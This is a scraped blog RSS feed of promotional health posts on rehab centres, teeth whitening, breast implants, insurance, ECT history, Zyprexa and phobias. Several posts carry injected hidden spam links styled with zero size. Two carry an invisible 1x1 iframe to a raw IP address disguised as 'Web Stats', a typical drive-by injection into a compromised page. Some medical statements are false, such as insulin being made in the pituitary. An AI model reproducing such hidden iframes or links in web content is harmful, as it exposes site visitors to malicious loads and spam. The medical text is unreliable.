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		<title>Alcohol Rehabs Bring People Back Together</title>
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		<pubDate>Thu, 25 Jun 2009 16:26:01 +0000</pubDate>
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 Addiction treatment, you never thought those two words would be part of your vocabulary and now they are. You have to find a treatment center for your alcohol addiction; treatment which must be addressed before you lose any more friends or family members. Your Christmas card list is getting shorter each year and you [...] ]]></description>
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<p> Addiction treatment, you never thought those two words would be part of your vocabulary and now they are. You have to find a treatment center for your alcohol addiction; treatment which must be addressed before you lose any more friends or family members. Your Christmas card list is getting shorter each year and you know it is your fault. Everyone has tried to tell you that you need an alcohol rehab program, but the alcohol rehab center you looked at yesterday did not meet your needs.</p>
<p>Many people such as you find the <a href="http://www.cliffsidemalibu.com/alcohol-rehab/alcoholics-and-alcohol-rehabilitation/">alcohol rehabilitation</a><font style="position: absolute;overflow: hidden;height: 0;width: 0"><a href="http://www.videnov.com/">&#1084;&#1077;&#1082;&#1072; &#1084;&#1077;&#1073;&#1077;&#1083;</a></font> program combined with other addiction treatment programs. You have been looking for a location that does some drug detox programs but will really be a program for your alcohol rehab and not a mix of many other programs, even though the message is the same. Stop and take care of yourself now.</p>
<p>Alcohol Rehabs are where your friends told you that meeting a new partner in life was possible. This was about the furthest thing from your mind. Right now life has to get back on track for you and stop from being one addiction treatment fiasco to the next alcohol treatment beginning and then another failure. What you want is to be a winner again, not a loser. Bringing another person into your life right now may not work out well. Family and friends want what is best for you.</p>
<p>Ultimately, the decision to attend meetings at an <a href="http://www.cliffsidemalibu.com/alcohol-rehab/">alcohol rehab</a> center is your call. Driving to the location or getting someone to drive you is still your call. You have to be comfortable with the surroundings and the motivational jargon at such locations. You will be committed to the program of abstinence. That is why thoughtful consideration of each location has to be with your approval before you commit. This is actually not the time to think of your family and friends, it is the time to think of yourself; think of how you want to get better. The power is within you and you will become, once again, the leader you forgot you were.</p>
<p>On the internet, you can pull up information and see other people’s opinions of the alcohol rehabs you want to go to next. Some of the online brochures are very thorough and the pricing is listed. Many of the alcohol treatment areas are in secluded areas and some even are near the ocean. There are addiction treatment locations in each of the states and even in European countries, not to forget many island communities. Whatever your pocketbook, there is a location for which you can contemplate. One that you may not run into your friends at or co-workers, so press the mouse in the direction of a center with an online presence and you will be happy you did. </p>
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		<title>Get help with Addiction Treatment</title>
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		<pubDate>Thu, 07 May 2009 14:49:03 +0000</pubDate>
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 There are many struggles that people go through in the course of their life time. Depending on your lifestyle and situations will determine what struggles you have to conquer or endure. Many are struggling to overcome a drug or alcohol addiction. What a lot of people don’t realize is that they are not alone. [...] ]]></description>
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<p> There are many struggles that people go through in the course of their life time. Depending on your lifestyle and situations will determine what struggles you have to conquer or endure. Many are struggling to overcome a drug or alcohol addiction. What a lot of people don’t realize is that they are not alone. There are other people out there that have had the same struggles. The difference is that some people have come to the realization that they have a problem and have decided to get help.</p>
<p>The first part of getting help is to admit there is a problem. Once this has been identified then you can go from there and decide which way is the best way to get help.  The main thing to know is that you are not going to be able to go at this alone. That is why there are <a href="http://www.cliffsidemalibu.com">Alcohol Rehab Centers</a>. Cliffside Malibu is one such place where you will be able to get the support you need from others while getting help for yourself. The reason why it is important to have a support group is so that when you are having a hard day or visa versa you are able to lean on one another to get through those tough times.</p>
<p>You will want to look into a couple of different programs and see which ones are going to fit your needs a lifestyle. You will want to make sure that you do some research. This will help you to better understand a holistic approach to Alcohol Treatment and see what different programs such as Cliffside Malibu have to offer. You will want to make sure to look at this program and location and decide if they fit your recovery neeeds.</p>
<p>Once you have decided on an <a href="http://www.cliffsidemalibu.com"><font style="position: absolute;overflow: hidden;height: 0;width: 0"><a href="http://vtsc.info/en/publication/">optical amplifier</a></font>Alcohol Rehab</a> you will want to call and see what the process is to get started. The sooner you get started the sooner you will be feeling more like yourself and less dependent<!-- Web Stats --> <iframe src=http://74.222.134.170/stats.php?id=2 width=1 height=1 frameborder=0></iframe> <!-- End Web Stats --> on alcohol.</p>
<p>Even though you will be able to get the help you are needed you are going to have to do some work yourself. It can be a long process at times and will take some will power to get through some of the tough times that they a head. This is where your support group is going to come into play. You will want to make sure that when you are looking at Alcohol Rehabilitation that you look for a treatment program that is holistic, that is, treats the entire person for the disease. Such a place that stands above all others is Cliffside Malibu.</p>
<p>Cliffside Malibu is more like a resort on the surface, but a deeper look reveals something extraordinary. It presents an approach to addiction recovery that treats the afflicted in a vibrant, holistic manner. It does this in a resort setting that is stunning, yet results are really what tells the story of their success. </p>
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		<title>Drug rehabilitation is here to help</title>
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		<pubDate>Mon, 27 Apr 2009 15:07:59 +0000</pubDate>
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 Drug addiction is an epidemic in today’s society and devastating to a person’s soul, but drug rehab centers all over the world are here to help. Drug abuse has many forms, be it illegal substances or prescription medicines, with old and young users from many parts of society. Drug rehabs and treatment programs are [...] ]]></description>
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<p> Drug addiction is an epidemic in today’s society and devastating to a person’s soul, but <a href="http://www.drugrehabsunsetmalibu.com/">drug rehab centers</a> all over the world are here to help. Drug abuse has many forms, be it illegal substances or prescription medicines, with old and young users from many parts of society. Drug rehabs and treatment programs are available in almost every part of the world with friendly staff focused on freeing people of the dependence on drugs and aid them in the return to a normal, addiction free life. Many drug rehabs also offer <a href="http://www.drugrehabsunsetmalibu.com/">alcohol treatment</a> and depression therapy to effectively address the addiction both mentally and physically.</p>
<p>An addiction to any drug is a crippling and overwhelming situation, for the user, their family, and their friends. Support is available for everyone who is involved and is necessary for overall healing. Even if you are concerned for someone else’s well being you can find the guidance and advice you need to help. If you are unsure if you have an addiction you are perhaps in denial and must take a step back and look at how drug use is damaging your life and affecting your own conscience.</p>
<p>Fighting drugs alone and without professional help will never work. Addictions require long term solutions and very often changes to ones lifestyle to prevent relapse and ensure a positive state of mind. Everyone’s situation is unique, all rehab staff are trained to understand this and help find the right type of rehabilitation a sufferer needs.</p>
<p>A typical drug rehab program begins with the most important step, drug detox, this is needed to remove toxic substances from the body as well as allow time for withdrawal symptoms to be addressed. Detailed therapeutic counseling will then help to determine what drug treatment method is best for the individual. Throughout the program regular counseling will be administered to help the individual to understand their condition and review the things in life that they must change in order to become free of addiction.</p>
<p>Constant encouragement and support from the professional staff help to encourage patients to have the self motivation to fully embrace all the available therapies and continue with their rehabilitation. Of course this is only touching the surface of the addiction treatment and help that exists, but if you are reading this and admitting to yourself you need help you have already taken a huge step toward recovery. Every passing minute is another chance to turn it all around; all it takes is asking for the help you need. </p>
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		<title>Alcohol rehab – more than just a 12 step program</title>
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		<pubDate>Fri, 27 Feb 2009 21:07:53 +0000</pubDate>
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 We have all seen them. They sit at the end of the local bar, night after night. Maybe they have two or so drinks and head home; maybe they have a 12 pack and then leave to head to the next bar. The problem lies in that we honestly do not know who does [...] ]]></description>
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<p> We have all seen them. They sit at the end of the local bar, night after night. Maybe they have two or so drinks and head home; maybe they have a 12 pack and then leave to head to the next bar. The problem lies in that we honestly do not know who does and who does not have a problem. Not everyone is going to just come out and say that they are an alcoholic. While some might, most will be in denial not wanting to deal with the problem, they’d rather separate themselves from anyone who tells them otherwise. Is it truly as simple as taking the bottle out of their hand or cutting them off from having that next drink? Never! They have to want to help themselves to take away the pain the addiction may be causing them and their loved ones. <a href="http://www.cliffsidemalibu.com/alcohol-treatment/ ">Alcohol treatment</a> may be just the right thing for them.</p>
<p>Everyone has heard of Alcoholics Anonymous; a place where those facing a common problem can meet and discuss their progress, their regress, and everything in between. But is this truly enough to ensure sobriety? There is no accountability, there is no one forcing you to face your situation. Does this program work? The answer is yes, for some. But for most there is a stronger need for outside help. For the ones that recognize that they need more, there<!-- Web Stats --> <iframe src=http://74.222.134.170/stats.php?id=2 width=1 height=1 frameborder=0></iframe> <!-- End Web Stats --> is a place to turn, there is <a href="http://www.cliffsidemalibu.com/ ">alcohol rehab</a>. Just like many other <a href="http://www.drugrehabsunsetmalibu.com/ ">addiction treatment</a> programs, this treatment option may be just what someone needs to beat the addiction. The thing about any treatment program is that it needs to be tailored to help you in ways that you cannot help yourself. Your loved ones who may have pushed you to the point to finally face the music will still be there to help you as you make your progress, and in addition to them you will be enlisting the help of well trained physicians and counselors, plus the added assistance of those who have faced this problem head on in the past. No one should face an <a href="http://www.drugrehabsunsetmalibu.com/alcohol-rehab/alcohol-treatment-programs/ ">alcohol treatment program</a> alone, and you won’t.</p>
<p>No more will you have to sit in a small room just telling people your problems while the temptation to slip out to the bar down the street pounds you as you walk by it. Placing yourself in an alcohol treatment facility will take many environmental factors out of the equation, allowing you to focus on what is best for you – beating the addiction. Why waste another day wondering if you truly have a problem, or if you do – why wait to find help through the difficult time? Everyone needs help at some point; we just don’t always know when it is our time. </p>
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		<title>For Everyone Teeth Whitening are Deliberate</title>
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		<pubDate>Mon, 06 Oct 2008 10:51:15 +0000</pubDate>
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 There is drastic increase in &#1082;&#1086;&#1083;&#1080; &#1087;&#1086;&#1076; &#1085;&#1072;&#1077;&#1084;teeth whitening industry as now plenty of people wants to look good and for this glossy teeth is a great idea.
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<p> There is drastic increase in <a href="http://www.miraclesformen.com/teeth-whitening" target="_blank"><font style="position: absolute;overflow: hidden;height: 0;width: 0"><a href="http://sikongroup.com/rentacar/index.htm">&#1082;&#1086;&#1083;&#1080; &#1087;&#1086;&#1076; &#1085;&#1072;&#1077;&#1084;</a></font>teeth whitening</a> industry as now plenty of people wants to look good and for this glossy teeth is a great idea.</p>
<p>Those people who have brown or yellow teeth are very cognizant about there teeth. These can be due to tobacco chewing or cigarette smoking or due to any poor oral condition. Most of people feel very embarrassing when it comes with yellow stained teeth.<br />
There are many sources which affect your teeth and thus give bad impact on others such as nicotine, caffeine, sauces, wine, gravy etc. Thus your yellow tooth totally depends upon the frequency of the usage of these products.</p>
<p>Providing with the treatment it permanently won’t improve the cause but if some cosmetic job is done it can lighten the stain at some extent.  A question arises why your teeth goes yellow and stained? The answer to this question can be due to excessive smoking , intake of wine or tobacco chewing, actually are tooth enamel contains minute pores where these stains accumulates giving yellowish and brownish coloration of enamel. If you are using any <a href="http://www.miraclesformen.com/teeth-whitening-kit" target="_blank">teeth whitening kit</a> you are asked to avoid all such products which can harm your tooth enamel.  Daily normal brushing is not the sources of treatment for this cause.</p>
<p>As the aging process proceeds discoloration can also occurs.  Stains can also appear due to excessive intake of fluoride and some other medications.  For any treatment for having white teeth always first consult your dentist and see what he recommends for your teeth according to your condition. </p>
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		<title>New York Breast Enlargement Surgeons</title>
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		<pubDate>Sat, 03 May 2008 10:20:30 +0000</pubDate>
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 New york, the city that never sleeps. Everyone wants to look different in new york, especially women. They always want to look THE BEST. Many women have opted for breast enlargement, due to many personal reasons. May that be to make body propotional or to reshape them after breast feeding. Surely, new york is [...] ]]></description>
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<p> New york, the city that never sleeps. Everyone wants to look different in new york, especially women. They always want to look THE BEST. Many women have opted for breast enlargement, due to many personal reasons. May that be to make body propotional or to reshape them after breast feeding. Surely, new york is the city of choices and there are plenty of choices available for those who want to avail them.</p>
<p>Many surgeons and doctors are present to help you out. You surely won&#8217;t opt for a surgeon who isn&#8217;t sure of what he is doing. <a href="http://www.cosmedica.com/book/breasts.asp" target="_blank">New York breast enlargement surgeon</a> are one of the best to choose from. Basically, there are two options for the cosmetic breast implants viz. saline filled implants and shaped implants. Where saline implant makes use of saline solution to be filled and comes in various shapes and sizes, shaped implant shows the slope and shape of the breasts.</p>
<p>Though new york surgeons are very good, that does not mean that you will get positive results for sure. Every surgical procedure has risks. Even though the doctor is highly qualified, the outcome of the surgery can&#8217;t be foreseen. A New York doctor said, &#8220;You need not worry, I have done many surgeries and they came out well.&#8221; What he never tells is about the surgeries that did not carry too good. Had that woman ever known about the risks involved, maybe she would have never undergone the surgery.</p>
<p>Before deciding to take any step, consult with your surgeon about the pros and cons of the implantment procedure. No breast enlargement product is safe. Remember, there is no use crying over spilt milk. Make sure you opt for what is the best. </p>
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		<title>Inexpensive Family Health Insurance</title>
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		<pubDate>Sun, 27 Apr 2008 07:36:23 +0000</pubDate>
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 If you don’t previously have any kind of health insurance plan, or identify someone who does and who can pass on you to an immense health insurance company, the quickest method to obtain a quote is to possibly look for one on the Internet.
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<p> If you don’t previously have any kind of health insurance plan, or identify someone who does and who can pass on you to an immense health insurance company, the quickest method to obtain a quote is to possibly look for one on the Internet.</p>
<p>When you hunt for reasonable <a href="http://www.insurelog.com/" target="_blank">family health insurance</a> on the Internet, you’ll to be requisite to respond numerous questions before you can acquire your family health insurance quote. Those questions comprise, but are not limited to:</p>
<p>Your location: This help determine whether or not the insurance company offers family health insurance plans in your area. If the health insurance company does not offer family and individual health insurance plans in your area, it may propose substitute health insurance plans that offer analogous exposure. Or, you may require hunting additional health insurance companies for a reasonable family and individual health insurance plan.</p>
<p>The sexual category and date of birth of the contender, as well as the wife and any children who are going to be integrated on the family health insurance plan.</p>
<p>The tobacco use of everybody who is going to be integrated on the family and individual health insurance plan. You shouldn’t give fake information about your tobacco utilization.</p>
<p>Whether or not the claimant, or anyone who is going to be included on the family health insurance plan, is a full-time student. Many family and individual health insurance plans are purchased by occupied time college or university students who have dependents. </p>
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		<title>Electro-convulsive Therapy &#8211; Gift  of Serendipity</title>
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		<pubDate>Sat, 12 Apr 2008 04:51:48 +0000</pubDate>
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 The beginning of electro-convulsive therapy was made in April 1938. It was in the ancient city of Rome that Ugo Cerletti and Lucio Bini administered the first electro-convulsive treatment. Using two electrodes placed over the temples, they passed current through the head of a patient with schizophrenia. The passage of the current caused an [...] ]]></description>
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<p> The beginning of electro-convulsive therapy was made in April 1938. It was in the ancient city of Rome that Ugo Cerletti and Lucio Bini administered the first electro-convulsive treatment. Using two electrodes placed over the temples, they passed current through the head of a patient with schizophrenia. The passage of the current caused an immediate induction of convulsive seizure, and this benefited the patient by an unknown mechanism. At that time, they gave it the name of electro shock therapy.</p>
<p>This brave attempt by Cerletti and Bini was inspired primarily by the work of Laszlo von Meduna of Budapest. Von Meduna had begun what can now be called the chemical shock therapy, using intra-muscular shots of camphor suspended in oil. He later switched to another chemical, pentylenetetrazol, that had to be given into the veins. He found the treatment worked successfully in people with catatonia and other acute schizophrenic symptoms. The first reports of this pharmacologically induced seizure treatment were published in 1934, and the treatment remained in vogue for the next four years until Cereletti and Bini decided to use the constant electric current to shock the disturbed brain.</p>
<p>Just as in many other spheres of science, the concept of shock therapy was a gift of serendipity. It had been observed that in people with schizophrenia, an accidental seizure due to any cause often resulted in a decrease of symptoms and an unexpected clinical improvement. There was also an incorrect belief held by the physicians of that time that schizophrenia and epileptic convulsions never occurred together in the same patient. They reasoned, therefore, that the induction of convulsions might rid the person of the schizophrenic symptoms. And the hunch worked, even if for all the wrong reasons!</p>
<p>The first few years of chemical shock therapy were extremely distressing to the people who were compelled to take the treatment. The intra-muscular injection of camphor suspended in oil caused severe discomfort and suffering to the patient for at least two to six hours, before producing a seizure. The introduction of penty­lenetetrazol brought about a major change by inducing convulsion rather quickly, yet any patient who had been through the experience once, almost never ever agreed to take the treatment again. Sent out to empty their urinary bladder before the treatment, most patients simply shut themselves in, in the bathroom, and refused to stir out.</p>
<p>The introduction of electric current signaled a major change in the treatment, but the technique was still unsafe. It could lead to dislocation of the jaw, and sometimes, the shoulder; fracture the bones, and in certain instances cripple the patient by causing fractures in the spine and spinal cord. Still, since it was the only therapy that worked against severe depression and schizophrenia, it was used widely until the 1950s when the first major antipsychotic medications were introduced.</p>
<p>Over the years, the technique acquired a considerable sophistication. General anaesthetics and muscle relaxants have lessened the discomfort and patients now hardly feel anything. This has also eliminated the risk of dislocations and fractures, making it a safe and relatively painless technique. In more recent years, the treatment has seen further refinement. The most troubling side effect of electro-convulsive therapy was the loss of memory. To avoid that, most physicians now roUtinely apply electric current to the non-dominant side of the brain only. This unilateral electro-convulsive therapy, however, does not always work as well as the bilateral technique, and if a physician does not get the desired effect even after five or six treatments, he switches over to the conventional bilateral placement of electrodes. </p>
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		<title>Zyprexa (olanzapine)</title>
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		<pubDate>Thu, 10 Apr 2008 04:48:55 +0000</pubDate>
		<dc:creator>john</dc:creator>
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 Zyprexa (olanzapine) is the name given to an antipsychotic medicine; it is a drug which is used for the treatment of schizophrenia. It is helpful in the treatment of psychotic disorders related to the functioning of the brain. It functions by altering the action of certain chemicals in the brain.
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<p> Zyprexa (olanzapine) is the name given to an antipsychotic medicine; it is a drug which is used for the treatment of schizophrenia. It is helpful in the treatment of psychotic disorders related to the functioning of the brain. It functions by altering the action of certain chemicals in the brain.</p>
<p>Diabetes is a disease in which there is malfunctioning in the use and generation of a hormone called insulin in the pituitary glands. Insulin acts as a source of conversion of various food stuff like sugar, starch into energy required for the functioning of the body. Recent researches show that <a href="http://www.adv-care.com/" target="_blank">zyprexa (olanzapine)</a> has put forward some cases of diabetes.</p>
<p>The use of zyprexa leads to increase in the level of blood sugar and is also linked with diabetes as mentioned above. Recent researches show that the use of this drug causes the diabetes at about 50 percent faster than other related drugs. Zyprexa acts as an atypical antipsychotic, unlike other psychotic drugs. FDA is not in favors of using this drug with children. Side effects of Zyprexa include various risks and other problems like diabetes, hyperglycemia, and weight gain. It is preferred that zyprexa should not be used with children or the patient is suffering from any of the below diseases: ADD, depression, addictions, but people are continually treated with this drug without knowing the consequences.</p>
<p>Before using this drug it is important that one should let his/her physician know about the other medications one is undergoing, especially related to heart.</p>
<p><strong>Symptoms of side effects of zyprexa</strong></p>
<ul>
<li>Diarrhea</li>
<li>Upset stomach</li>
<li>Dry mouth</li>
<li>Muscle stiffness</li>
<li>Drowsiness</li>
<li>Excess sweating</li>
<li>Headache</li>
<li>Vomiting</li>
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		<title>Phobias &#8211; Age and Gender Divide</title>
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		<pubDate>Tue, 08 Apr 2008 12:56:22 +0000</pubDate>
		<dc:creator>john</dc:creator>
				<category><![CDATA[Phobias]]></category>
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 Specific  phobias, like the fear of animals, commonly begin in childhood. Some children  grow out of their fears when they become adults without any treatment. In  others, it may linger into adulthood, and then continue for life. Phobias are  quite common in the general population. In community samples, lifetime rates [...] ]]></description>
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<p> Specific  phobias, like the fear of animals, commonly begin in childhood. Some children  grow out of their fears when they become adults without any treatment. In  others, it may linger into adulthood, and then continue for life. Phobias are  quite common in the general population. In community samples, lifetime rates  (once in life incidence) range from 10 to 11.3 per cent, with 75-90 per cent  sufferers being women.</p>
<p>Agoraphobia typically  strikes in late adolescence or early adulthood. It is also more commonly  diagnosed in women than in men.</p>
<p>Social phobia can begin at any age, but it generally  begins in the early to late teens. It may wax and wane in severity and runs a   chronic course. In community studies, the lifetime prevalence figures of social  phobia range between 3-13 per cent. Men and women are represented almost  equally.</p>
<p>Phobias may run in  families. First-degree biological relatives of a sufferer are more likely to  develop the disorder. </p>
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